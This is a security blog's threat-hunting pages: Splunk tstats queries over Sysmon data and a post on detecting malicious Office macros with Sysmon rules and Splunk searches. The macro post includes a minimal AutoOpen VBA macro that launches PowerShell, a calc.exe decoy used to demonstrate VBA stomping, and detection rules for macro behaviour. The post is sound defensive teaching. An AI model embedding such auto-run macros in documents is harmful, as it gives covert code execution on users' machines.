# Home

**Welcome to the Pwntario Team Blog**

Latest Posts:

* [**Hunt Fast: Splunk and tstats**](/team-posts/antons-posts/splunktstats) - *Posted Monday July 13 2020* by [@Antonlovesdnb](https://twitter.com/Antonlovesdnb)
* [**Malicious AzureAD Application Registrations**](/team-posts/lees-posts/malicious-azuread-app-registrations) - *Posted Monday June 8th 2020* by [@InvokeThreatGuy](https://twitter.com/InvokeThreatGuy)
* [**Hunting Malicious Macros**](/team-posts/antons-posts/hunting-malicious-macros) - *Posted Monday June 1st 2020* by [@Antonlovesdnb](https://twitter.com/Antonlovesdnb)


# Team Posts


# Anton's Posts


# Hunt Fast: Splunk and tstats

### Intro

One of the aspects of defending enterprises that humbles me the most is scale. Enabling different logging and sending those logs to some kind of centralized SIEM device sounds relatively straight forward at a high-level, but dealing with tens or even hundreds of thousands of endpoints presents us with huge challenges.

In this post I wanted to highlight a feature in Splunk that helps - at least in part - address the challenge of hunting at Scale: Datamodels and tstats.

### What are data models?

According to Splunk's documents, Datamodels are:

> A data model is a hierarchically structured search-time mapping of semantic knowledge about one or more datasets. It encodes the domain knowledge necessary to build a variety of specialized searches of those datasets. These specialized searches are used by Splunk software to generate reports for Pivot users.

From: <https://docs.splunk.com/Documentation/Splunk/8.0.4/Knowledge/Aboutdatamodels>

Another, more accessible way that I had this explained to me was that Datamodels *take unstructured data and make it structured*

What benefit does this give us? Speed!

Accelerated searches using Splunk data models return results almost instantly, even across large data sets.

### Setup

I won't go into huge detail about how to set up Splunk and Datamodels, but you will need the following to get started:

* A Splunk Enterprise Installation of some kind
* A Splunk TA app that sends data to Splunk in a CIM (Common Information Model) format
  * The Windows and Sysmon Apps both support CIM out of the box
* The Splunk CIM app installed on your Splunk instance, configured to accelerate the right indexes where your data lives

In my example I'll be working with Sysmon logs (of course!)

Something to keep in mind is that my CIM acceleration setup is configured to accelerate the index that only has Sysmon logs, if you are accelerating an index that has both Sysmon and other types of logs you may see different results in your environment.

### Queries

Let's dive right into some queries using datamodels, for my first example I want to keep it simple and run a query that will show which directories processes are launching from.

```sql
| tstats summariesonly=t values(Processes.process) from datamodel=Endpoint.Processes groupby Processes.process_current_directory
```

This looks a bit different than a traditional stats based Splunk query, but in this case we are selecting the values of "process" from the Endpoint datamodel and we want to group these results by the directory in which the process executed. This gives us results that look like:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F7dfaff9d5c585f9f0320a773d1b7fb955a055b87.png?generation=1594648151753788\&alt=media)

The biggest advantage to datamodels is speed, so let's try to set the time further back so we can pull more data and see how long it takes, running the same search for a period of "All Time" in my small test instance produced the following results:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F3d77682e551cb4522de2fc1656b9b0619c059dd7.png?generation=1594648150951090\&alt=media)

Super. Fast.

By Default the CIM App has field mappings for certain Sysmon events but not every single field is mapped to a data model. If we wanted to look at ImageLoad events for example, we would need to create our own datamodel under the existing Endpoint data model

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F4f4a32b60d0c78ca699f00c2804fa4d2fa79204a.png?generation=1594648152962589\&alt=media)

Now with our new data model we can run a query like:

```sql
| tstats summariesonly=t values(ImageLoads.ImageLoaded) from datamodel=Endpoint.ImageLoads groupby ImageLoads.Image
```

And get results that look like:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F9ddbaee2651139d67cc65457ae5da04cd7890cc9.png?generation=1594648150676954\&alt=media)

This gives us a nice view of what DLLs were loaded by particular processes, with results returned to us almost instantly across large data sets - cool!

Let's continue and look at Sysmon ProcessAccess events, I followed the same procedure as outlined above and made a new datamodel for the ProcessAccess events and now I can do something like:

```sql
| tstats summariesonly=t values(ProcessAccess.TargetImage) from datamodel=Endpoint.ProcessAccess groupby ProcessAccess.GrantedAccess,ProcessAccess.SourceImage
```

Which produces this result:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F34c294cb7d1047792ef2a5a306836a157a0c216c.png?generation=1594648152091339\&alt=media)

A really useful view for quickly grouping your Sysmon ProcessAccess events by the AccessGranted field, useful if you're trying to quickly hunt on anomalous GrantedAccess values.

If we wanted to quickly narrow down the above search to show us what is injecting into lsass we can do so with the following:

```sql
| tstats summariesonly=t values(ProcessAccess.TargetImage) as "TargetImage" from datamodel=Endpoint.ProcessAccess groupby ProcessAccess.GrantedAccess,ProcessAccess.SourceImage
| search TargetImage = *lsass*
```

Which produces:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F5d2c80ddbd728fc1cb35840dba1dce89d41e378b.png?generation=1594648158555567\&alt=media)

We can also apply the same idea to quickly hunt for anomolous values in the CallTrace, with a query that looks something like:

```sql
| tstats summariesonly=t values(ProcessAccess.CallTrace) AS "CallTrace", values(ProcessAccess.SourceImage) AS "SourceImage" from datamodel=Endpoint.ProcessAccess groupby ProcessAccess.TargetImage
| eval CallTrace=split(CallTrace,"|")
| rename ProcessAccess.TargetImage AS "TargetImage"
| table SourceImage,TargetImage,CallTrace
```

Which gives us the following:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Fa6ed397a3b76a776985e5877028fe07ea72d6093.png?generation=1594648152635757\&alt=media)

This gives us a pretty clear picture of what processes are injecting where and what the corresponding call trace's look like, we can expand on this concept a bit further with something like:

```sql
| tstats summariesonly=t values(ProcessAccess.CallTrace) AS "CallTrace", values(ProcessAccess.SourceImage) AS "SourceImage" from datamodel=Endpoint.ProcessAccess groupby ProcessAccess.TargetImage
| eval CallTrace=split(CallTrace,"|")
| eval CallTraceTranslate=case(CallTrace="C:\Windows\SYSTEM32\ntdll.dll+9c534","NTOpenProcess")
| rename ProcessAccess.TargetImage AS "TargetImage"
| table SourceImage,TargetImage,CallTrace,CallTraceTranslate
```

Which produces the following results:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Fe3bab4db0235b5305963889270cf5524ddf42b4b.png?generation=1594648152280597\&alt=media)

This query is splitting the CallTrace field up via it's "|" delimiter and then translating a line of the Call Trace to a human-readable format, this should make it easier to spot weird values in the Call Trace field.

**tstats and Dashboards**

I'm a bit of a rebel and like to use Splunk dashboards not just for visualizations, but to give myself a quasi hunting GUI, putting together some of the queries we went over above, we can build out a simple dashboard that looks like:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F92cdad8610ffaf868bc81a78d743d543386392f2.png?generation=1594648152592907\&alt=media)

The idea here is that I can just enter a process name that I'm interested in quickly, and then that token is passed to three separate searches, all using datamodels on the back-end for almost instant results.

Let's add another search to our dashboard that glues ProcessCreate and NetworkConnect events together.

We can start with the following tstats query:

```sql
| tstats summariesonly=t prestats=t values(Processes.process),values(Processes.parent_process),values(Processes.process_current_directory) from datamodel=Endpoint.Processes WHERE Processes.process_guid="*0d6bac9c-0811-5f0b-0d01-000000001c00*"  by Processes.process_guid
| tstats summariesonly=t append=t prestats=t values(Ports.dest),values(Ports.src),values(Ports.dest_port) from datamodel=Endpoint.Ports WHERE Ports.process_guid="*0d6bac9c-0811-5f0b-0d01-000000001c00*" by Ports.process_guid
| rename Ports.process_guid as GUID Processes.process_guid as GUID
| stats values(Ports.dest),values(Ports.src),values(Ports.dest_port),values(Processes.process),values(Processes.process_current_directory),values(Processes.parent_process)
```

This gives us results which look something like:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Fa61ba4f57f1332f7a7919cacee0acd2fd710fc8c.png?generation=1594648150820498\&alt=media)

I love viewing events in this manner as it gives me a really clear picture of what happened on the host: PowerShell was launched via Explorer, in the C:\Users\Administrator directory and then made some network connections. This query however, specifies a GUID, what if we wanted to select one from an existing list?

Let's add a dropdown to our Dashboard that pulls Process and GUID information from Sysmon Event ID 1 events:

We select the Dropdown option, give our field a label, add a token which will be passed to our search and then set the label for the field to be a process name, but the value of the field to be a Process GUID to be passed onto the search:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F570663059f5798d2347ec7d8e93592a66972cfb9.png?generation=1594648153330919\&alt=media)

Now we have a dropdown in our dashboard that gives us a list of processes based on their GUID (so if you launched PowerShell a bunch of times you'll see multiple instances of PowerShell available for selection)

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F258ce45e32abfa8fdde122086f82ecef1b1dd845.png?generation=1594648152658573\&alt=media)

Now we select the process we're interested in and view our results:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F9e20c2d42239007e285b8a687062bc8aee9731d6.png?generation=1594648151942617\&alt=media)

The code for my entire dashboard is here (Note: You may need to tweak some your data models to make the searches work in your environment)

```markup
<form>
  <label>Quick Hunt</label>
  <fieldset submitButton="false">
    <input type="text" token="process_name_token">
      <label>Process Name</label>
    </input>
  </fieldset>
  <row>
    <panel>
      <table>
        <title>Processes</title>
        <search>
          <query>| tstats summariesonly=t values(Processes.process) from datamodel=Endpoint.Processes where (Processes.process="*$process_name_token$*") groupby Processes.parent_process_name
| rename Processes.parent_process_name AS ParentProcess, values(Processes.process) AS CommandLine</query>
          <earliest>-24h@h</earliest>
          <latest>now</latest>
        </search>
        <option name="drilldown">none</option>
        <option name="refresh.display">progressbar</option>
      </table>
    </panel>
    <panel>
      <table>
        <title>Network Activity</title>
        <search>
          <query>| tstats summariesonly=t values(Processes.process_exec) from datamodel=Endpoint.Processes where (Processes.process_exec="*$process_name_token$*")  groupby Processes.DestinationIp,Processes.DestinationPort
|  rename Processes.DestinationIp AS DestinationIP, Processes.DestinationPort AS DestinationPort, values(Processes.process_exec) AS ProcessName</query>
          <earliest>-24h@h</earliest>
          <latest>now</latest>
        </search>
        <option name="drilldown">none</option>
        <option name="refresh.display">progressbar</option>
      </table>
    </panel>
  </row>
  <row>
    <panel>
      <table>
        <title>Image Loads</title>
        <search>
          <query>| tstats summariesonly=t values(ImageLoads.ImageLoaded) from datamodel=Endpoint.ImageLoads where (ImageLoads.Image = "*$process_name_token$*") groupby ImageLoads.Image
| rename ImageLoads.Image as "Image", values(ImageLoads.ImageLoaded) as "Images Loaded"</query>
          <earliest>-24h@h</earliest>
          <latest>now</latest>
        </search>
        <option name="drilldown">none</option>
      </table>
    </panel>
  </row>
  <row>
    <panel>
      <input type="dropdown" token="process_guid_token">
        <label>Processes to Network</label>
        <fieldForLabel>Image</fieldForLabel>
        <fieldForValue>ProcessGuidS</fieldForValue>
        <search>
          <query>index=sysmon EventCode=1
| eval ProcessGuidS = tostring(ProcessGuid)
| table ProcessGuidS,Image</query>
          <earliest>-24h@h</earliest>
          <latest>now</latest>
        </search>
      </input>
      <table>
        <title>Network and Process</title>
        <search>
          <query>| tstats summariesonly=t prestats=t values(Processes.process),values(Processes.parent_process),values(Processes.process_current_directory) from datamodel=Endpoint.Processes WHERE Processes.process_guid="*$process_guid_token$*" by Processes.process_guid
| tstats summariesonly=t append=t prestats=t values(Ports.dest),values(Ports.src),values(Ports.dest_port) from datamodel=Endpoint.Ports WHERE Ports.process_guid="*$process_guid_token$*" by Ports.process_guid
| rename Ports.process_guid as GUID, Processes.process_guid as GUID
| stats values(Ports.dest),values(Ports.src),values(Ports.dest_port),values(Processes.process),values(Processes.process_current_directory),values(Processes.parent_process)</query>
          <earliest>-24h@h</earliest>
          <latest>now</latest>
        </search>
        <option name="drilldown">none</option>
        <option name="refresh.display">progressbar</option>
      </table>
    </panel>
  </row>
</form>
```

## Some Notes

* I am not an SPL master, so there's probably cooler / more efficient ways to re-work the queries I highlighted above
* My datamodel configuration is unique to my test environment, a full-blown production environment will require some engineering elbow grease to get the data that's in Splunk aligned with CIM&#x20;
* Although I used Sysmon for my examples, these concepts are also applicable to normal Windows logs or any type of logs that exist in Splunk with fields that fit into a data model

**References**

* <https://www.deductiv.net/blog/fun_with_splunk_tstats/>
* <https://www.splunk.com/en_us/blog/security/great-endpoint-moments-with-mr-lincoln.html>
* <https://docs.splunk.com/Documentation/Splunk/8.0.4/SearchReference/Tstats>
* <https://docs.splunk.com/Documentation/CIM/4.16.0/User/Endpoint>
* <https://docs.splunk.com/Documentation/Splunk/8.0.4/Viz/tokens>


# Hunting Malicious Macros

1. [Hunting Malicious Macros](/team-posts/antons-posts/hunting-malicious-macros#first)

## Hunting Malicious Macros

Taking a look at the MITRE ATT\&CK page for malicious macros, it's clear that this technique is a favourite among APT groups.

Microsoft Office is indeed ubiquitous in a corporate office setting and presents defenders with a very large attack surface.

"*Just disable macros*" is a great idea, but many critical business processes run on the back of decades-old macros; for better or for worse.

To get a sense of how widely malicious macros are utilized, take a look at the technique via MITRE: [T1566.001](https://attack.mitre.org/beta/techniques/T1566/001/)

In this post I will cover detection techniques that provide relatively robust coverage for detecting malicious macros in your own environment. I'll be using Sysmon to generate the log data and Splunk to query that data, I'll also highlight some Sigma rules that can help with Macro detections.

Before I dive in, I need to acknowledge that this work **definitely** stands on the shoulders of giants and I'll be referencing their work heavily throughout.

### Atomic Red Team

Red Canary have done the defensive world a huge solid and have provided a script that generates macros for you so that detections can be tested, so let's start there:

* [Blog Post](https://redcanary.com/blog/testing-initial-access-with-generate-macro-in-atomic-red-team/)
* [Script Used](https://github.com/redcanaryco/atomic-red-team/blob/master/ARTifacts/Initial_Access/generate-macro.ps1)

`Note: Originally these macro tests download other scripts from the Red Canary repo to do other things with the macro, for the purposes of my testing, however, I only wanted to test the original macro execution so I modified these scripts slightly to just call out to Google instead of running the full blown tests.`

We generate our macro, which outputs an Excel file:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F2e82fe566911e041757b275dc38abd7d4ed91c63.png?generation=1591593212686089\&alt=media)

Now let's take a look at what Sysmon shows us when this macro is executed, using the [SwiftOnSecurity Config](https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml)

Using this basic Splunk Query:

```sql
index=sysmon EventCode=1 Image=*Excel*
| table Image,ParentImage,CommandLine
```

Gives us these results:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F609e8102b716aab4193cfc8c60f0444d37e0bb76.png?generation=1591593211528651\&alt=media)

Not very interesting, the typical "Excel has Spawned PowerShell or a Command Prompt" detection has failed here, as these macros use techniques which circumvent this particular detection (More details about this are in the Red Canary Blog post linked above)

If we observe Excel behaviour through something like Procmon, we can see that Excel loads specific DLLs when a macro is loaded. We can configure Sysmon to look for this type of behaviour.

Let's enhance our Sysmon config a little bit with the following:

```markup
<RuleGroup name="" groupRelation="or">
    <ImageLoad onmatch="include">
        <Rule name="Macro Image Load" groupRelation="or">
            <ImageLoaded condition="end with">VBE7INTL.DLL</ImageLoaded>
            <ImageLoaded condition="end with">VBE7.DLL</ImageLoaded>
            <ImageLoaded condition="end with">VBEUI.DLL</ImageLoaded>
        </Rule>
    </ImageLoad>
</RuleGroup>
```

With this logic, we should see an event when any of the above DLLs are loaded.

After updating the Sysmon config and running the macro again, we can now do something like:

```sql
index=sysmon RuleName="Macro Image Load"
| stats values(ImageLoaded) by Image
```

Which gives us these results:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F9588c2a20a5b50c9cfff44ed35cef34b8af15210.png?generation=1591593214995761\&alt=media)

Now we know that a macro was executed by Excel which is a great start. As mentioned earlier, these macro tests break typical process hierarchy detections, so searching for what spawned out of Excel directly is not going to work in this case.

All we know so far from a detection standpoint is that Excel executed some kind of macro, but we don't know what the macro did or whether it was malicious or not. We can, however, pivot off the data point that we *do* have and group our events by time to see what was launched around the time that the Excel macro was executed.

```sql
index=sysmon
| bin span=5s _time
| stats values(RuleName),values(Image),values(CommandLine) by _time
```

We group our events into buckets of 5 second time intervals - my thinking here is the malicious processes executed via the macro may not spawn directly from Excel, but they would be grouped together tightly by time.

In this query, I am not querying for a specific event type, I just want to see all Sysmon events grouped into time buckets, and then I want to take a look at the events surrounding the "Macro Image Load" rule name.

Let's take a look at the results:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Fe21953349a44b8c9f24bcdfdb26feff9c4c76b81.png?generation=1591593213559470\&alt=media)

We caught some false positives in our little dragnet, but also found the 'malicious' commands executed by our macro.

Continuing with the Red Canary macro tests, let's look at option 2 in the tests: *Chain Reaction Download and execute with Excel, wmiprvse*

Using the same time bucketing technique, we can see the execution of wmiprvse.exe around the time that an Excel macro was launched:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F230302a16f0f42a70c5c487e7a07bca1804a01ca.png?generation=1591593214743480\&alt=media)

If we observe Excel behaviour when launching normally versus launching a macro that loads wmiprvse.exe, we can see the wbemdisp.dll being loaded, so let's add that to our Sysmon config as well:

```markup
<Rule groupRelation="and" name="Office WMI Image Load">
    <Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
    <ImageLoaded condition="is">C:\Windows\SysWOW64\wbem\wbemdisp.dll</ImageLoaded>
</Rule>
```

I came across this particular detection technique in [Samir](https://twitter.com/SBousseaden)'s fantastic blog post:

[https://blog.menasec.net/2019/02/threat-hunting-doc-with-macro-invoking.html ](https://blog.menasec.net/2019/02/threat-hunting-doc-with-macro-invoking.html)

*If you are at all interested in Threat Hunting, I highly encourage you to check that blog out and give Samir a follow*

This rule will fire when the wbemdisp.dll is loaded by any executable within the Office16 folder, it can be tuned to be more specific as well.

Here's what the data looks like in Splunk:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Fa8221f3547fe36c8bab3abf60919a98bf40cf879.png?generation=1591593213731436\&alt=media)

Now let's take a look at the Red Canary tests number 4 and 5 - Shell and ShellBrowserWindow. These two methods interact with COM, so we can configure our Sysmon Config as follows:

```markup
<Rule groupRelation="and" name="Office COM Image Load - Combase">
    <Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
    <ImageLoaded condition="is">C:\Windows\SysWOW64\combase.dll</ImageLoaded>
</Rule>
<Rule groupRelation="and" name="Office COM Image Load - coml2">
    <Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
    <ImageLoaded condition="is">C:\Windows\SysWOW64\coml2.dll</ImageLoaded>
</Rule>
<Rule groupRelation="and" name="Office COM Image Load - comsvc">
    <Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
    <ImageLoaded condition="is">C:\Windows\SysWOW64\comsvcs.dll</ImageLoaded>
</Rule>
```

Firing up our macros again and looking at the following Splunk query:

```sql
index=sysmon Image=*Excel*
| stats values(ImageLoaded) by Image,RuleName
```

We can see Excel loading the Macro as well as COM DLLs:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F364d480a737606feae68f170e68b0245446bbc5f.png?generation=1591593212346267\&alt=media)

Now we know that Excel launched some kind of macro, and used COM, neat!

### Excel 4 Macros

[Outflank](https://www.outflank.nl/) publishes tons of next-level macro techniques regularly, let's take a look at the [following](https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js) script which is a Proof of Concept which uses COM to generated an Excel 4 Macro to load Shellcode via JScript.

A few things stand out as abnormal using this technique, using the data we have already in our Sysmon config, we can see:

* Excel Loading a COM DLL
* Excel being launched from a non-standard directory

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F361a797769761a71cc123136a92a0404d6c32c58.png?generation=1591593214572158\&alt=media)

### RunPE

I used [Clement Labro's](https://twitter.com/itm4n) implementation of RunPE in my testing, you can grab it [here](https://github.com/itm4n/VBA-RunPE) and read more about it here:

* <https://itm4n.github.io/vba-runpe-part1/>
* <https://itm4n.github.io/vba-runpe-part2/>

Clement describes the technique succinctly:

> \[RunPE] consists in running code inside the memory of a legit process in order to hide its actual activity.

To my simpleton brain, if I hear "*inside the memory of a legit process*" I think of injection, so let's configure our Sysmon config to look for this, with the following snippet:

```markup
<RuleGroup name="" groupRelation="or">
    <ProcessAccess onmatch="include">
        <Rule groupRelation="and" name="Office Injection via VBA">
            <SourceImage condition="begin with">C:\Program Files (x86)\Microsoft Office\Root\Office16\</SourceImage>
            <CallTrace condition="contains">\Microsoft Shared\VBA</CallTrace>
        </Rule>
    </ProcessAccess>
</RuleGroup>
```

Taking a look at the data this produces, we see Word injecting into Word via VBA:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Ffb0aee12f6902e8446a4e46889b550813bf380ca.png?generation=1591593213944701\&alt=media)

Putting the pieces together a little bit, we're starting to get a good idea of what our Office Processes are doing, we can see:

* WMI ImageLoads by Office Processes
* VBA ImageLoads by Office Processes
* Office Injections via VBA
* COM use by Office Processes

### Evil Clippy

EvilClippy is a tool created by Outflank that provides functionality to stomp VBA code and hide macros from the Office GUI, you can grab the tool here:

<https://github.com/outflanknl/EvilClippy>

And read more about VBA Stomping here:

<https://vbastomp.com/>

I want to keep things super simple so I'm using the following "real" VBA code:

```
Sub AutoOpen()
    Call Shell("powershell.exe", vbNormalFocus)
End Sub
```

To launch a PowerShell Window when I open up my Word doc, but I'm using EvilClippy to 'stomp' the document with the following VBA Code:

```
Sub AutoOpen()
    Call Shell("calc.exe", vbNormalFocus)
End Sub
```

This is what my document looks like, the VBA code is telling me the macro will launch calc, but when I Enable Content, the document will launch PowerShell instead, sneaky!

Fake Macro Code:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F24c1332976bceb14bcf092ebdea4b4d759984b20.png?generation=1591593213368514\&alt=media)

What the document actually does:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Ffa8a7d32001ba263bbc56b848356679f0fcf740b.png?generation=1591593213212043\&alt=media)

While Sysmon can't detect VBA Stomping specifically, our current Sysmon config gives us a bunch of clues that a macro was executed and that our Word document executed PowerShell.

Looking at the following Splunk query:

```sql
index=sysmon EventCode=10
| table SourceImage,TargetImage,RuleName
```

We can see our earlier injection Sysmon config snippet being put to work:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Faab88ee7dd283a45157d30f123c6ba3926f5509c.png?generation=1591593212089969\&alt=media)

### Putting it together - Covenant

Thus far we've looked at isolated techniques, but how well does our Sysmon configuration work for a macro that launches a Covenant stager - let's find out.

Covenant is available here: <https://github.com/cobbr/Covenant> - thank you [Ryan](https://twitter.com/cobbr_io)!

And I am using the following post to generate my Macro: <https://3xpl01tc0d3r.blogspot.com/2020/02/gadgettojscript-covenant-donut.html> - Thank you [Chirag](https://twitter.com/chiragsavla94)!

With everything in place, we can start our Word document and confirm that we see the callback in Covenant:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Fc741d1ba82df70d8725cd52240e986549d89cd07.png?generation=1591593214635717\&alt=media)

Checking our logs, we see that the VBA Images were loaded, so we know a macro ran, but not much else, there's no processes spawned from Word since everything happens in memory. How can we enhance our detections further?

We know that Covenant is a .NET framework, so we can assume that it needs to load some type of .NET DLLs at startup.

Let's add the following to our Sysmon config:

```markup
<Rule groupRelation="and" name="Office .NET Abuse: Assembly DLLs">
    <Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
    <ImageLoaded condition="begin with">C:\Windows\assembly\</ImageLoaded>
</Rule>
<Rule groupRelation="and" name="Office .NET Abuse: GAC">
    <Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
    <ImageLoaded condition="begin with">C:\Windows\Microsoft.NET\assembly\GAC_MSIL</ImageLoaded>
</Rule>
<Rule groupRelation="and" name="Office .NET Abuse: CLR">
    <Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
    <ImageLoaded condition="end with">clr.dll</ImageLoaded>
</Rule>
```

Let's run our macro again and check the logs with the following query:

```markup
index=sysmon EventCode=7
| stats values(ImageLoaded) by Image,RuleName
```

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F11fd6f2caff961ab27bfe98cb9afd8b41fd9e952.png?generation=1591593212967454\&alt=media)

Now you know that a macro was executed and that the Office process executing the macro loaded the DLLs necessary for some kind of .NET functionality, a great jumping off point for further investigation.

Check out the [Sigma Repo](https://github.com/Neo23x0/sigma/tree/master/rules/windows/sysmon) where I contributed a few rules looking for this kind of activity, we can use [uncoder.io](https://uncoder.io/) to convert the Sigma rule into a Splunk query:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Faee6c829d8ea84ec4f272fd81bcc0d7c94987040.png?generation=1591593215197967\&alt=media)

We could also convert Sigma rules to Splunk searches programmatically with [this](https://github.com/P4T12ICK/Sigma2SplunkAlert) awesome project by [Patrick Bareiss](https://twitter.com/bareiss_patrick)

### Bonus Round - [Velociraptor](https://github.com/Velocidex)

Now that your cool new macro alerts have fired, you'd probably want to take a closer look at the host.

Let's try that with Velociraptor, we find our host, and collect some macro artifacts:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F196142a789f91eecbbb055bd8579b5dcd8b4f953.png?generation=1591593212815487\&alt=media)

Now we take a look at the results, and we can see that not only did Velociraptor find our macros, but it also ripped them open, revealing the actual VBA code:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2Feb3e9d8f6115c6f6237e5b11d96f6e3b1e356710.png?generation=1591593214158690\&alt=media)

While this output is great, our VBA stomped macro keeps it's secrets :)

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F601829b620a62b9ec10e638d1ff2425f9878f338.png?generation=1591593219568706\&alt=media)

We can also see the output of any Trust Record modifications for further evidence of macro execution:

![](https://2957104660-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M9HL1UABBf8v1Zv2fQq%2Fsync%2F51878e25197a04a7b68681b561930b0031c4125d.png?generation=1591593211787575\&alt=media)

The folks at Outflank made a nice post about trust records [here](https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/) including providing a Sysmon config snippet to monitor for this kind of activity in real-time, how awesome!

### Closing Notes

My aim with this post was to provide some detection ideas for an attack vector that is commonly utilized by real-world malware and attackers. The Sysmon configuration snippets, Splunk queries and Sigma rules will undoubtedly generate false positives in a real corporate environment and are not a silver bullet for detecting malicious attacker activity via macros. I'm sure there are bypasses available and used for this stuff, but you have to start somewhere and at least make attackers work for a foothold in your environment.

### More Credits

These resources / people helped me put this post together in one way or another:

* <https://twitter.com/decalage2>
* <https://github.com/decalage2/oletools/wiki/olevba>
* <https://twitter.com/DissectMalware>
* <http://www.decalage.info/>
* <https://twitter.com/DidierStevens>
* <http://didierstevens.com/>
* <https://twitter.com/OrOneEqualsOne>
* <https://posts.specterops.io/capability-abstraction-fbeaeeb26384>
* <https://twitter.com/cyb3rops>
* <https://twitter.com/Cyb3rWard0g>
* <https://github.com/hunters-forge>
* <https://twitter.com/SBousseaden>
* <https://twitter.com/c_APT_ure>
* <https://github.com/olafhartong/sysmon-modular>


# Get Azure Key Vault Data into Splunk

I want to learn more about Azure, and I love Splunk, so I wanted to see how I could get diagnostic data from Azure Key Vault into Splunk.

There's seemingly a million different ways to get log data out of Azure, with different levels of logging showing you different things.

This article: <https://docs.microsoft.com/en-us/azure/security/fundamentals/log-audit> does a good job of explaining the various logs found in Azure.

For today however, I am going to focus on Azure Key Vault Diagnostic Logs, streamed to an Event Hub and then picked up with Splunk using this Splunk App: <https://splunkbase.splunk.com/app/4343/#/overview>

In my particular scenario I have the following Azure resources:

* A blob type storage account &#x20;
* An Event Hub namespace and Event Hub &#x20;
* An Azure Key Vault configured to send diagnostic logs to the Event Hub &#x20;
* A Splunk Instance

In my case I needed to create a storage account and blob container first:

